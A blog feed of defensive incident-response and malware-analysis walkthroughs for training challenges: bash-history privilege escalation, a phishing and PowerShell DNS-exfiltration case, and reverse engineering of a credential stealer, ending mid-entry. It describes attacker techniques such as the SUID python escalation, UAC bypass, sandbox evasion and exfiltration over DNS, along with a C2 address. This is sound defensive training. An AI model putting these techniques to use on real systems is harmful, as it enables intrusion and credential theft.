Sypex Geo: https://sypexgeo.net/en/about/#:~:text=Sypex%20Geo%20is%20a%20product,region%2C%20city%2C%20geographic%20coordinates.

Telegram API: https://core.telegram.org/bots/api

REQBIN (Curl): https://reqbin.com/req/c-1n4ljxb9/curl-get-request-example

JQ: https://github.com/jqlang/jq

Blue Team Labs Online — Log Analysis - Privilege Escalation Challenge Walkthrough

Sun, 11 Aug 2024 00:00:00 +0000

Blue Team Labs Online — Log Analysis— Privilege Escalation Challenge Walkthrough

Analyzing Web Server Compromise with Bash History Logs and Notepad++

Logo credit: https://blueteamlabs.online

Introduction:

Welcome to another weekly walkthrough! If you’ve ever been curious about investigating a compromised web server, you’ve stumbled on the right blog. This week, we’re tackling the Log Analysis — Privilege Escalation challenge from Blue Team Labs Online.

This challenge is a digital forensics and incident response (DFIR) exercise that has us defenders investigating a compromised web server using only the bash history log file. To do the analysis, we’re leveraging the trusty Notepad++ to dissect the log file, uncover how the attacker compromised the server, how they escalated their privileges, and what tools they used to do it. Sounds like a fun time!

Now let’s grab some yarn and unravel the mystery behind this breach and learn a little bit more about web server security along the way. Let’s get started — thanks for reading along!

Challenge Link: https://blueteamlabs.online/home/challenge/log-analysis-privilege-escalation-65ffe8df12

Challenge Scenario:

A server with sensitive data was accessed by an attacker and the files were posted on an underground forum. This data was only available to a privileged user, in this case the ‘root’ account. Responders say ‘www-data’ would be the logged in user if the server was remotely accessed, and this user doesn’t have access to the data. The developer stated that the server is hosting a PHP-based website and that proper filtering is in place to prevent php file uploads to gain malicious code execution. The bash history is provided to you but the recorded commands don’t appear to be related to the attack. Can you find what actually happened?

Question 1: What user (other than ‘root’) is present on the server?

Okay, let’s kick off this investigation! We’ll start by downloading the bash history log file attached to the challenge. To begin our analysis, we’ll open the file in any plaintext editor to view the contents, for the examples in this blog, I will be using Notepad++.

Utilizing the log file, we’re going to locate the second user account on this server by looking for the presence of a home directory. In Linux, each user will have a separate /home directory except for the root account.

On line 21 we’ll see a change directory (cd) to /home/daniel. Since Daniel has a home directory, we’ve discovered the second user account!

Question 2: What script did the attacker try to download to the server?

Let’s continue scrolling through the log to look for evidence of a file download.

Eventually, we stumble across line 32 where we see some activity using wget. Wget is a command-line utility used to retrieve files and content from the web — this seems promising! Let’s take a closer look at what was retrieved:

The end of the URL path is a shell script file “linux-exploit-suggester.sh” retrieved from a GitHub repository. Let’s get some background on this tool to determine if we found the correct answer. I’ll refer to the Kali Linux documentation that states that linux-exploit-suggester is:

a Linux privilege escalation auditing tool. It’s designed to assist in detecting security deficiencies for given Linux kernel/Linux-based machine.

Based on the description, this script could be useful for an attacker’s follow-on activities and confirms that we located the correct script to answer Question 2.

Question 3: What packet analyzer tool did the attacker try to use?

Continuing to scan through the log file, we’ll come across several lines (41–47) listing network discovery commands — so we’re probably in the right spot to look for the answer to Question 3. While searching for the packet analyzer the attacker used, there are two tool commands that stick out from the rest: iptables and tcpdump.

If you haven’t encountered these utilities before, they are important to know in the context of this investigation so let’s get some quick background on both.

iptables: iptables is a Linux firewall application that is controlled through the command line and allows configuration of network traffic rules.

2. tcpdump: Quoting the Kali Linux documentation:

This program allows you to dump the traffic on a network. tcpdump is able to examine IPv4, ICMPv4, IPv6, ICMPv6, UDP, TCP, SNMP, AFS BGP, RIP, PIM, DVMRP, IGMP, SMB, OSPF, NFS and many other packet types.

So, based on these tool descriptions, we know that tcpdump is the packet analyzer we are looking for to answer Question 3!

Question 4: What file extension did the attacker use to bypass the file upload filter implemented by the developer?

To answer Question 4, we’re going to search for the keyword “uploads” to locate relevant log entries. Let’s focus on the last line of our log, line 63.

Unfortunately, we don’t have any deeper visibility into the setup of the PHP web server and how the developer implemented the file upload filter_,_ so we are going to have to rely on some context clues.

Analyzing this command tells us that that the file x.phtml was deleted (rm) from the web server’s upload directory. This might indicate that the attacker is deleting indicators of their intrusion (MITRE ATT&CK T1070.004) following a malicious file upload.

Since there is evidence of file upload activity, the developer’s statement that “proper filtering is in place to prevent php file uploads to gain malicious code execution” might not be accurate. From the evidence, we might assume that the developer only filtered the .php file extension rather than also adding other standard PHP extensions like .php3 and .phtml.

Putting our evidence together, we have the developer’s statement that some file upload validation in place, but we don’t know the full scope, we know there was a file uploaded to the web server with the .phtml extension, and the file was later removed. I think we have enough evidence to say with some confidence that the .phtml file bypassed the upload filter.

Question 5: Based on the commands run by the attacker before removing the php shell, what misconfiguration was exploited in the ‘python’ binary to gain root-level access? 1- Reverse Shell ; 2- File Upload ; 3- File Write ; 4- SUID ; 5- Library load

To answer the final question, we’ll focus on the Python activity that occurred before the last line we analyzed in the previous question.

We know we are looking for some exploitation of the Python binary, so let’s try to add some context about the command we see in line 62.

To do this, we need to find some reference about abusing binaries on Linux systems. Fortunately, the challenge provides a reference link to the GTFOBins repository.

So, what are GTFOBins and how can they help us solve this challenge?

GTFOBins is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems.

The project collects legitimate functions of Unix binaries that can be abused to get the f**k break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.

This sounds promising! Let’s review the repository and search for Python.

python | GTFOBins _The payloads are compatible with both Python version 2 and 3. It can be used to break out from restricted environments…_gtfobins.github.io

Once we have read the various payloads available, we will stumble across a privilege escalation method using Python which is achieved with the same command that we discovered in our bash history log!

Since we have located the same commands in our log and have a documented method of SUID bit privilege escalation, we have enough information to answer Question 5 and wrap up this investigation!

Conclusion:

And there we have it! We’ve successfully navigated the bash history log file to discover the details of the web server compromise. With the help of Notepad++ we identified the second user account on the system, the script the attacker downloaded, the tools they used, and their method for bypassing the file upload filter. With the objectives completed, let’s close out this walkthrough of the Log Analysis — Privilege Escalation challenge!

A big thank you to Blue Team Labs Online for another fun challenge! This challenge not only highlights the importance of thorough log analysis but also demonstrates the value of understanding attacker techniques to better defend our systems. While this challenge is geared toward beginners, the hands-on practice and critical thinking required to solve it is helpful for any skill level. Personally, I was really intrigued by the exploitation of Python to achieve privilege escalation — very cool stuff!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Notepad++: https://notepad-plus-plus.org/

Kali Linux Documentation (linux-exploit-suggester): linux-exploit-suggester | Kali Linux Tools

Kali Linux Documentation (tcpdump): https://www.kali.org/tools/tcpdump/

MITRE ATT&CK (Indicator Removal: File Deletion): https://attack.mitre.org/techniques/T1070/004/

Wikipedia (PHP): https://simple.wikipedia.org/wiki/PHP

GTFO Bins: https://gtfobins.github.io/

TryHackMe — Boogeyman 1 Challenge Walkthrough

Sun, 04 Aug 2024 00:00:00 +0000

TryHackMe — Boogeyman 1 Challenge Walkthrough

Email, Endpoint, & Network Forensic Investigation using Thunderbird, LNKParse3, PowerShell Logs, JQ, & Wireshark

Image Credit: https://tryhackme.com/r/room/boogeyman1

Introduction:

Are you afraid of the Boogeyman?

If not, welcome to my weekly walkthrough, you’ve stumbled on the right blog! This blog is a walkthrough of the Boogeyman 1 challenge from TryHackMe and is the first in a series of capstone challenges for the SOC Level 1 path. This challenge is a multi-part digital forensics and incident response (DFIR) investigation focusing on a fictional threat actor called the Boogeyman.

In this challenge, we will investigate email, endpoint, and network artifacts collected from a victim compromised by this new, shadowy threat actor. It is our job as security analysts to determine how the Boogeyman got in, what they took, and how they did it. Doesn’t sound so scary, right?

To unmask the Boogeyman, we’ll utilize a few tools at different points in our investigation including LNKParse3, JQ to parse JSON formatted PowerShell logs, and Wireshark for deep packet capture analysis.

Now let’s grab our flashlights and shine a light on the Boogeyman’s tactics, techniques, and procedures. I don’t want to ruin any of the fun, so this walkthrough will not contain spoilers, but please use this as a reference and enjoy! Thanks for reading along!

Challenge Link: https://tryhackme.com/r/room/boogeyman1

Challenge Scenario:

Uncover the secrets of the new emerging threat, the Boogeyman.

In this room, you will be tasked to analyse the Tactics, Techniques, and Procedures (TTPs) executed by a threat group, from obtaining initial access until achieving its objective.

Task 2 — Email Analysis

Julianne, a finance employee working for Quick Logistics LLC, received a follow-up email regarding an unpaid invoice from their business partner, B Packaging Inc. Unbeknownst to her, the attached document was malicious and compromised her workstation.

The security team was able to flag the suspicious execution of the attachment, in addition to the phishing reports received from the other finance department employees, making it seem to be a targeted attack on the finance team. Upon checking the latest trends, the initial TTP used for the malicious attachment is attributed to the new threat group named Boogeyman, known for targeting the logistics sector.

You are tasked to analyse and assess the impact of the compromise.

Question 1: What is the email address used to send the phishing email?

We’ll jump right into our environment and look at the dump.eml file. There are number of ways that we can approach header analysis of this email, but let’s just open with the Mozilla Thunderbird client so that we can get the victim’s perspective.

The phishing email.

We’ll start out with a simple one and enter the From field address to answer Question 1.

Question 2: What is the email address of the victim?

We’ll follow the same process for Question 2 except this time we will enter the To field name which is the recipient address.

Question 3: What is the name of the third-party mail relay service used by the attacker based on the DKIM-Signature and List-Unsubscribe headers?

Now, we need to get more detail beyond what’s shown in the normal, visible headers by viewing the message source.

To do this in Thunderbird press More > View Source.

It might look a little scary at first, but let’s use the find function of the text editor to locate the DKIM-Signature line:

If you would like more information on what DKIM is or what the header means, refer to the excellent Email Headers list from Mailtrap.io. I refer to this list often when I need additional context for email header analysis!

Email Headers Explained: Definition, Components, Role [2024] _Email Headers contain important information and can be useful for improving email deliverability. Learn what they are…_mailtrap.io

Question 4: What is the name of the file inside the encrypted attachment?

Now, let’s download the suspicious ZIP archive file from the email message and save it to our artefacts folder. If we peek inside of the archive, we’ll see a .lnk (shortcut) file within it.

Very suspicious, indeed! Fortunately, this is enough information to answer Question 4!

Question 5: What is the password of the encrypted attachment?

Let’s jump back to Thunderbird and review the suspicious email sent to the victim. We’ll notice that the sender was kind enough to send us a handy password to open the archive.

Now that we have the password for the ZIP file, we will extract the .lnk file. In the next question, we’ll perform some analysis on this LNK file in the next question.

Question 6: Based on the result of the lnkparse tool, what is the encoded payload found in the Command Line Arguments field?

Now that we have extracted the .lnk from the archive, we’ll parse it and see if we can determine what it does. To do this, we will use the tool suggested in the challenge introduction — LnkParse3.

Within our analysis environment, open up the terminal and use the following syntax to parse the file:

lnkparse NAME-OF-FILE.lnk

Scroll through the output and we’ll see something interesting — an encoded PowerShell command. This is extremely suspicious and definitely requires further investigation.

For now, we only need to submit the encoded command to answer Question 6 before we move on to investigating the victim’s endpoint device.

Task 3 — Endpoint Security

Based on the initial findings, we discovered how the malicious attachment compromised Julianne’s workstation:

A PowerShell command was executed.

Decoding the payload reveals the starting point of endpoint activities.

Question 1: What are the domains used by the attacker for file hosting and C2? Provide the domains in alphabetical order. (e.g. a.domain.com,b.domain.com)

So, we know that a malicious PowerShell command was executed from the execution of malicious attachment we analyzed in the previous task. To determine the impact of the malicious attachment, we’re going to need to analyze the Windows PowerShell event logs.

But first, let’s decode the Base64 encoded payload that we discovered within the attachment. There are a few tools to do this, but for simplicity, I’ll just utilize the Base64 command to decode this in the terminal_:_

echo “ENCODED STRING” | base64 -d

Let’s note this URL and move on to analyzing the PowerShell logs. We have just a quick detour — remember the note from Task 1?

Note: The powershell.json file contains JSON-formatted PowerShell logs extracted from its original evtx file via the evtx2json tool.

So, rather than viewing the exported PowerShell Windows Event Log (.evtx) file, we are going to rely on JQ, which is a command-line based JSON parsing tool to parse the PowerShell.json.

We will start with the simplest option; parsing the JSON file into the beautified output using the syntax below:

cat powershell.json | jq

Right away, we will see a ton of information but it’s too much output to sift through manually. Let’s filter by events by “ScriptBlockText” so that we can focus on events with statements that we can analyze.

According to Microsoft:

In the PowerShell programming language, a script block is a collection of statements or expressions that can be used as a single unit. The collection of statements can be enclosed in braces ({}), defined as a function, or saved in a script file. A script block can return values and accept parameters and arguments.

Let’s go a step further too. We’ll re-tool our JQ filter to apply sorting by Timestamp, the ScriptBlockText field, and remove duplicate entries:

cat powershell.json | jq -s -c ‘sort_by(.Timestamp) | .[] | {ScriptBlockText}’ | sort | uniq

While this still returns a lot of output, we’ve filtered to the most relevant output for our search. In particular, there are a couple of interesting lines that are requesting data with different URLs — one uses Invoke-WebRequest and the other t_hat we already found by decoding the Base64 command uses WebClient._

These are the two command and control (C2) domains that we are looking for to answer Question 1!

Question 2: What is the name of the enumeration tool downloaded by the attacker?

We’ll keep with the same JQ output since we actually saw this earlier while looking for the C2 URLs.

The attacker downloaded a tool from a GitHub Repository, but is it an enumeration tool? Let’s do some research to find out.

See the name of the .ps1 file referenced at the end of the command? Navigate to the GitHub repository and we can locate the separate repository for referenced tool!

We’ll do some quick reading through the documentation for this project to discover that the tool does contain some enumeration function using WMI - this confirms that we discovered the correct tool!

Question 3: What is the file accessed by the attacker using the downloaded sq3.exe binary? Provide the full file path with escaped backslashes.

Okay, now we are looking for a specific executable. We’ll keep with using JQ but we need to adjust our scope. What if we grep the output to display only results containing sq3.exe?

cat powershell.json | jq ‘{ScriptBlockText}’ | grep “sq3.exe”

Hey, that’s getting us closer! We found a file that the executable accessed. Now all we need to know is the user account name to add to the front of the path. We’ll use the same command as before but revise the grep to the change directory (cd) command. This should help us understand how the attacker traversed the victim’s directories and disclose a valid profile name.

cat powershell.json | jq ‘{ScriptBlockText}’ | grep “cd”

Here, we’ll find references to a user profile name. Append this profile name to the path we found earlier accessed by sq3.exe to form our answer!

Question 4: What is the software that uses the file in Q3?

To answer this question, look at the file path from the previous question:

The file is a database that stores information for a specific application, the specific application is the answer to Question 4.

Question 5: What is the name of the exfiltrated file?

Let’s pull back and revisit the JQ output for ScriptBlockText that we used in Question 1 and browse through the output again. We’ll stumble across the following line where we can see some evidence of a file being exfiltrated to an external IP address:

Submit the IP address as the answer but also add it to your notes as we may need it again later!

Question 6: What type of file uses the .kdbx file extension?

If you aren’t familiar with this file type, do some quick Google research to determine what application uses it. There is a help center for the application that has a detailed specification page about the file extension.

Question 7: What is the encoding used during the exfiltration attempt of the sensitive file?

Continue reviewing the JQ parsed command output. Following the line we discovered to answer Question 5, we’ll see another interesting item that contains the file encoding used during the exfiltration:

Question 8: What is the tool used for exfiltration?

To answer Question 8, refer back to the previous question’s output that contains the encoding method and look further down the command.

After the data is encoded, we’ll see another command which appears to be using DNS to query the A record of attacker-controlled infrastructure at the $destination variable. Remember that the IP address we found in Question 5 was defined as $destination?

This looks like it might be a living off the land exfiltration technique where targeted data is encoded, split to a character limit, and then exfiltrated though DNS queries to the adversary’s infrastructure by appending the data (the $line variable) to a domain name where it can be reassembled or interpreted by the adversary.

Maybe we will get more information when we move into the network packet capture analysis…

Task 4 — Network Traffic Analysis

Based on the PowerShell logs investigation, we have seen the full impact of the attack:

The threat actor was able to read and exfiltrate two potentially sensitive files.

The domains and ports used for the network activity were discovered, including the tool used by the threat actor for exfiltration.

Question 1: What software is used by the attacker to host its presumed file/payload server?

Now, we are moving into the next phase of our investigation, the network traffic analysis. From the artefact folder, double-click capture.pcapng to open it with Wireshark.

Once we’re in Wireshark, we need a starting point for the next phase of our investigation. Let’s begin by inputting the attacker’s infrastructure IP address that we located in Question 5 of the Endpoint Security section into Wireshark’s filter:

ip.addr==167.71.211.113

That’s a lot of output, so let’s make this a bit more manageable and focus on the HTTP protocol traffic by further adjusting our filter.

http && ip.addr==167.71.211.113

Much more manageable! Let’s focus in on the first HTTP response (33256.) Right click the packet row > Follow > HTTP Stream.

Once the HTTP Stream window opens, we can check out the Server field to determine what application is hosting the web server:

Question 2: What HTTP method is used by the C2 for the output of the commands executed by the attacker?

We found this information when analyzing the PowerShell logs in Endpoint Security Question 1, remember? If not, here’s a refresher:

Since, we know the attacker is exfiltrating the data out and not requesting it in, the method would NOT be GET…

Question 3: What is the protocol used during the exfiltration activity?

Remember back in Question 8 of the Endpoint Security Section (Task 3) we discovered that the exfiltration tool used a specific protocol? This is the answer to Question 3.

Question 4: What is the password of the exfiltrated file?

Since this gets a little complicated, let’s lean on the question hint:

Thanks, THM! So, the working theory here is that we need to locate a password that the victim stored in the file that accessed by sq3.exe in the Endpoint Investigation (Question 3) to “unlock” the exfiltrated file.

So, let’s leverage Wireshark’s search function to search the packets for a keyword. First, press CTRL + F to bring up the find/search bar, then select String, and finally select Packet details so we can search within middle “packet details” window. Now enter sq3.exe into the search box.

Here, we will locate an HTTP GET request packet (42700), but since the attacker took the data and sent it out, we’re looking for a POST request.

If we continue with the find function, there are four hits for sq3.exe. The last one has the same PowerShell command in the text data that we found in the Endpoint Analysis section for Question 3. It feels like we are getting closer!

So, we’ll use 44459 as our starting point for searching POST requests. We’ll need to cut down the noise by filtering HTTP POST methods since we can’t simply just keep searching sq3.exe. We can further narrow our scope by also filtering anything below our starting point frame number.

http.request.method==POST && frame.number > 44459

This gets us down to nine entries. Let’s start analyzing the first entry (44467) and Follow > HTTP Stream:

Well, that’s a big blob of something! Let’s drop it into CyberChef so that we can do some decoding operations and see if we can get something readable. To start, we can go lazy mode and see if the Magic function can do anything for us:

It looks like CyberChef can do some decoding if we apply the From Decimal recipe. Let’s apply it and see what we can find…

Bingo! We found the “Master Password” that the victim stored in plain text— not good!

Question 5: What is the credit card number stored inside the exfiltrated file?

Alright, we made it to the last question! Now that we have a “Master Password” we need to unlock something with it…

Let’s recap what we know so far:

The exfiltrated file is a type of database that would require a master password. We know what application it is from Task 3 — Question 6.
From Question 8 of the previous task, we also know that this database was being converted to Hexadecimal in blocks, and exfiltrated over DNS A record queries to the destination IP address of 167[.]71[.]211[.]113
Each DNS query is sent in the format of an encoded string ($line) appended to bpakcaging[.]xyz.

Below is the evidence from that question for our reference:

PowerShell Reference of the KDBX Exfiltration

So, we know the file, protocol, domain, and IP address. Let’s try to leverage Wireshark to filter out just the packets relevant to this information. To do this, we need to adjust our filter again.

First, I went to Wikipedia to find out the type id for the DNS A Record which is 1. This helps us build our Wireshark query to only look at DNS A records. Then we also input the IP address that the data is exfiltrated to.

dns.qry.type==1 && ip.dst==167.71.211.113

Now, we will see a ton of rows returned but the data matches the format that we expected based on what we learned about the exfiltration method. But it isn’t readable just yet.

So, now we need to figure out how to reassemble this data. We’re going to move it out of Wireshark so we’ll first export this data by selecting all the filtered packets and pressing File > Export Packet Dissections > As Plain Text.

For the purposes of this walkthrough, my output file is called AQuery.txt. When we open AQuery.txt in a text editor, it looks like this:

While helpful, we still need to clean up this data to carve out only the Hex encoded strings that we need. I’m certain there is a better way to do this (alluded to in the question hint) but my approach is to try to transform this data from within the terminal.

To save you some time, I freely admit that there was a lot of stumbling, trial and error, and time spent researching with Google and Microsoft Copilot to come up with command using grep and sed that would work to clean up the data, until at long last, I landed on the below version:

grep -Eo ‘[0-9a-fA-F]{8,}.[a-zA-Z0-9.-]+.[a-zA-Z]{2,}’ AQuery.txt | sed ’s/.[a-zA-Z0-9.-]+.[a-zA-Z]{2,}.*//’ | uniq | tr -d ' '

Here’s the long story short(ish) — The grep command is performing some pattern matching to display only the Hex strings followed by a “domain.tld” and trailing text from our Wireshark output file. Then, sed removes the domain and any trailing text, removes duplicate entries, and concatenates the results into a single line without any delimiters so it’s a long, single line combining all the Hex strings we found being sent to the C2 domain.

But now that we have the required data, we still need to output the file so that we can convert it from Hex into a working database file.

grep -Eo ‘[0-9a-fA-F]{8,}.[a-zA-Z0-9.-]+.[a-zA-Z]{2,}’ AQuery.txt | sed ’s/.[a-zA-Z0-9.-]+.[a-zA-Z]{2,}.*//’ | uniq | tr -d ' ’ > hexdump.txt

We’re almost there! Now we’ll convert the Hex data to ASCII and save the database as a new output. We’ll achieve this by processing it with xxd.

xxd creates a hex dump of a given file or standard input. It can also convert a hex dump back to its original binary form. Like uuencode(1) and uudecode(1) it allows the transmission of binary data in a ‘mail-safe’ ASCII representation, but has the advantage of decoding to standard output. Moreover, it can be used to perform binary file patching.

xxd -r -p hexdump.txt > database.kdbx

Finally, we can open the reassembled KDBX file! The TryHackMe analysis environment already has the correct application to open this file type and it should automatically be associated.

Once it opens, we are prompted for the Master Password that we recovered in the previous question. Inputting the password unlocks the database and allows us to retrieve the credit card number that the victim stored in their password manager which is now in the hands of the adversary! Time to call the bank, indeed!

Go ahead and input the victim’s credit card number and let’s wrap up this investigation.

Conclusion:

Mission accomplished — We have completed our frighteningly fun investigation of the Boogeyman 1! Using our forensic skills, we learned how the Boogeyman infected the victim’s device with a malicious attachment, collected and exfiltrated data with PowerShell and DNS, and stole credit card data stored in KeePass. Now, let’s wrap this investigation!

A huge thank you to TryHackMe for the seriously fun challenge! I was really impressed with the dimensions of this room as it had three different scopes and a complete narrative. The detail and flow were much closer to a real-world simulation exercise than others I have completed. The escalating difficulty was also really engaging as it started out easy and ramped up as the room went on. This really pushed me out of my comfort zone and forced creativity when it came to the later steps of the Networking Traffic Analysis. I was also excited to have the opportunity to get some hands-on time with JQ as I was familiar with the name but had not encountered it before.

If you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, please give it a clap! Until the Boogeyman returns, stay safe! If you want to continue battling the Boogeyman, be sure to check out my walkthrough of the Boogeyman 2.

TryHackMe — Boogeyman 2 Challenge Walkthrough

Tools & References:

Mailtraip.io Email Headers List: https://mailtrap.io/blog/email-headers/

LnkParse3: https://github.com/Matmaus/LnkParse3

JQ: https://jqlang.github.io/jq/

Microsoft Script Block: https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_script_blocks?view=powershell-7.4

Microsoft Learn (WebClient Class): https://learn.microsoft.com/en-us/dotnet/api/system.net.webclient?view=net-8.0

Microsoft Learn (Invoke-WebRequest): https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.4

CyberChef: https://gchq.github.io/CyberChef/

Wikipedia DNS Types: List of DNS record types — Wikipedia

Linux Man Pages (XXD): https://linux.die.net/man/1/xxd

LetsDefend — Serpent Stealer Challenge Walkthrough

Sun, 28 Jul 2024 00:00:00 +0000

LetsDefend — Serpent Stealer Challenge Walkthrough

Analyzing the Serpent Stealer Malware with DIE, dotPeek, and MITRE ATT&CK

Image Credit: https://app.letsdefend.io/challenge/serpent-stealer

Introduction:

Have you ever wanted to reverse engineer an info stealer malware sample, see how it works, and determine its capabilities to impact a victim? If this topic sounds interesting to you, you’ve stumbled on the right blog!

Welcome to my weekly walkthrough where we are going to cover the Serpent Stealer Challenge from LetsDefend! This is a medium-difficulty malware reverse engineering challenge where we’ll be using JetBrains dotPeek to analyze the provided information stealer malware sample. By digging into this malware’s code, we’ll determine its capabilities, how it evades detection, and what data it targets — fun stuff!

Although malware reverse engineering isn’t my strongest skill, I recently tackled a similar challenge from LetsDefend, so as the old saying goes, practice makes perfect! We might stumble along the way through this one, but we’ll adapt and learn some new tricks together.

LetsDefend — DLL Stealer Challenge Walkthrough

Now let’s grab our shovels and have some fun digging through this malware. Thanks for reading along!

Challenge Link: https://app.letsdefend.io/challenge/serpent-stealer

Challenge Scenario:

Located in the heart of the financial district, a leading multinational company was hit by a sophisticated data theft. Over several months, confidential customer data, proprietary software, and sensitive financial information were stolen. The company’s cybersecurity team recently discovered that a " # "

stealer" malware was responsible for the breach. They are analyzing the stealer and trying to protect the company from future attacks.

Question 1: What is the md5 hash for the malware?

Let’s jump right in and connect to the provided virtual machine and extract the challenge file archive within the Challenge File folder.

In the meantime, it’s also a good idea to get familiar with the provided tools so that we have some idea of what’s available to tackle the challenge. Let’s review the Tools folder on the Desktop. Right away, we’ll see several available disassemblers, debuggers, and decompilers which will be helpful to dig into the provided malware sample.

But for our first task, we simply need to get the MD5 file hash of the sample so that we can start learning about this stealer malware. There are a couple of ways we can approach this, but for this walkthrough I am going to just use PowerShell — if you have another method you like, go for it! The important thing is that we get the MD5 hash:

Get-FileHash -Algorithm MD5 .\sample

Now that we have the file hash of this sample, we can answer Question 1! But for some additional intelligence, why don’t we also check this hash against VirusTotal to see if there are any hits?

VirusTotal VirusTotalwww.virustotal.com

All right, this is a well-known malware sample which might be helpful later in our investigation. For now, let’s keep going and see what else we can uncover.

Question 2: What is the name of the list the malware uses to evade detection by the VirusTotal check?

To answer Question 2, we need to first figure out the best tool to use to analyze the malware. But before we do that, we need to understand what type of file the sample is. To do this, let’s gather some information using Detect It Easy (DIE) which is a utility that can be used to determine the file type of an application.

To put this into practice, let’s point DIE to the path of the _c_hallenge’s malware sample:

Here we will see that the sample binary is a .NET portable executable (PE32). Since we now know that it is a .NET binary, we can select the right tool to disassemble the executable and start to answer Question 2.

As I hinted at in the introduction, we’re going to leverage JetBrains dotPeek which is already installed on the LetsDefend VM we’re using.

dotPeek is a free .NET decompiler and assembly browser. The main idea behind dotPeek is to make high-quality decompiling available to everyone in the .NET community, free of charge.

Get started | dotPeek _dotPeek is available for download in two distributions: as a part of dotUltimate installer and as portable versions for…_www.jetbrains.com

Now, let’s jump into dotPeek and start to analyze the malware. To do this, open the Challenge File folder, right-click the extracted sample, and select " # "

Open With > JetBrains dotPeek."

This will launch dotPeek and load the challenge file. Don’t worry, it will take a few minutes to load the assembly explorer, but when it does, expand the node called Serpent.

We’ll see that the assembly objects contained within Serpent are both organized and non-obfuscated which is going to speed up our analysis. Since we are looking for a defense evasion technique, let’s try expanding the Evasion object and focus on the AntiVT class.

VirusTotal evasion list.

Here we see that the malware does an environment check (T1497.001) to detect if it is being analyzed on VirusTotal by comparing the user name of the victim’s system to a stored list containing common user names used by VirusTotal during analysis. If any of the strings match, the malware sleeps and exits to avoid further detection.

Circling back to the objective, the name of the list containing these strings is what we’ll need to answer Question 2.

Question 3: What is the name of the folder that was used by the malware to collect the password on it?

Now let’s expand the modules object and expand the conveniently labelled PasswordStealer method. To answer Question 3, we will focus on the Run method within the PasswordStealer:

Looking closely at this method, we’ll discover that the malware creates a centralized folder called " # “serpent"in the temporary directory of the victim’s system for staging the data it collects (T1074.001.)

Question 4: What is the first command that the malware uses to bypass the User Account Control (UAC)?

Okay, now we are going to examine some of the mechanisms that the malware uses for privilege escalation. Let’s return to the Evasion object and focus on the UAC class.

To understand what the malware is doing, we first need to understand what User Account Control (UAC) in Windows is_._ According to Microsoft Learn:

User Account Control (UAC) is a Windows security feature designed to protect the operating system from unauthorized changes. When changes to the system require administrator-level permission, UAC notifies the user, giving the opportunity to approve or deny the change.

In other words, UAC helps prevent unauthorized, administrator-level changes on a system by notifying users of the request and requiring approval to proceed, typically by supplying administrative credentials.

Let’s look at the first bypass string (psCMD1) in the UAC class. This command creates a new registry key which can be abused to bypass UAC (T1548.002) — it is also the answer to Question 4.

Once you copy the string out, it’s a little tricky as the format of the double quotation marks doesn’t transfer over the VNC clipboard. Instead, on a US keyboard, I used the ALT codes for double quotation marks Alt 0147 to open, Alt 0148 to close the path.

Question 5: How many file extensions does the malware target?

Next, let’s analyze what file extensions this stealer targets so that we can understand the impact to a victim’s system.

To locate this information, we’ll navigate back to Modules > FileStealer function > SupportedExtensions string and focus on the below lines of code:

This will take us directly to the location we need to discover which extensions are targeted by the malware. Let’s submit our findings and move forward with the investigation.

Question 6: What is the first process listed in the blacklisted processes used by the malware?

Back to the Evasion object! This time, we’re going to and check the AntiAV class and look at the blackListedProcesses string.

The malware is doing another system check for indicators that it is executed in an analysis environment by looking for processes common in malware analysis sandboxes like virtualization/analysis tool processes. This technique is another example of the malware attempting be stealthy and evade detection (T1497.001.)

To answer Question 6, we just need to input the first process name in the stealer’s blackListedProcesses list.

Question 7: What is the last wallet name that is targeted by the malware on the list?

To answer Question 7, we’re going to search for the crypto wallets that the stealer targets.

This will be largely the same process that we have followed for the last couple of questions. We’ll navigate back to the Modules, and look at the Run method of the Wallets tab.

Here, we’ll see a list of the specific crypto wallet services that are targeted by the malware. We can just input last wallet name on the list for the answer and then we’ll move on to the final question of this challenge!

Question 8: After getting the current user, what is the subkey used by the malware to dump FTP credentials?

We’ve made it to the last question! Now, to discover the answer to Question 8, we’ll check the Run method under FTPStealer, in the Root Namespace.

Take a look at the first couple of strings under the Run method:

We see that the malware is targeting a Windows Registry hive HKCU\Software\Microsoft\FTP where the Credentials key stores FTP credentials, if they are cached on the victim device (T1552.002.)

Okay, there we have it! Now that we have determined Registry key that the FTPStealer function targets, let’s submit our answer and wrap up this investigation.

Conclusion:

Mission accomplished! We have finished our analysis of the Serpent Stealer malware, learned how it evades detection, elevates privileges, and what victim data it targets. With the listed objectives completed, it’s time to close out this walkthrough of the Serpent Stealer challenge!

A big thank you to LetsDefend for another fun challenge! I chose this challenge for two reasons: To keep upskilling in malware reverse engineering and to get more familiar with how information stealer malware works. I appreciated the opportunity to jump back into dotPeek and have more hands-on time with the tool. As information stealers become a bigger and more common threat, it’s equally important to me to peek into stealer functionality for insights on how to better defend against them. Like I said in the introduction, practice makes perfect; so thank you for practicing your reverse engineering skills with me. I hope you learned something and had some fun along the way!

Until next week — stay curious.

Tools & References:

JetBrains dotPeek: https://www.jetbrains.com/decompiler/

VirusTotal: https://www.virustotal.com/gui/file/c4f981f1f532ec827032775c88a45f1b4153c3d27885f189654ad6ee85c709c1/details

Detect It Easy: https://github.com/horsicq/Detect-It-Easy

MITRE ATT&CK (T1497.001 — Virtualization/Sandbox Evasions: System Checks): https://attack.mitre.org/techniques/T1497/001/

MITRE ATT&CK (T1074.001 — Data Staged: Local Data Staging): https://attack.mitre.org/techniques/T1074/001/

Microsoft Learn (UAC): https://learn.microsoft.com/en-us/windows/security/application-security/application-control/user-account-control/

MITRE ATT&CK (T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control): https://attack.mitre.org/techniques/T1548/002/

MITRE ATT&CK (T1552.002 — Unsecured Credentials: Credentials in Registry): https://attack.mitre.org/techniques/T1552/002/

LetsDefend — TeamViewer Forensics Challenge Walkthrough

Sun, 21 Jul 2024 00:00:00 +0000

LetsDefend — TeamViewer Forensics Challenge Walkthrough

Endpoint Forensic Investigation using the TeamViewer Logs and MFTECmd

Image Credit: https://app.letsdefend.io/challenge/teamviewer-forensics

Introduction:

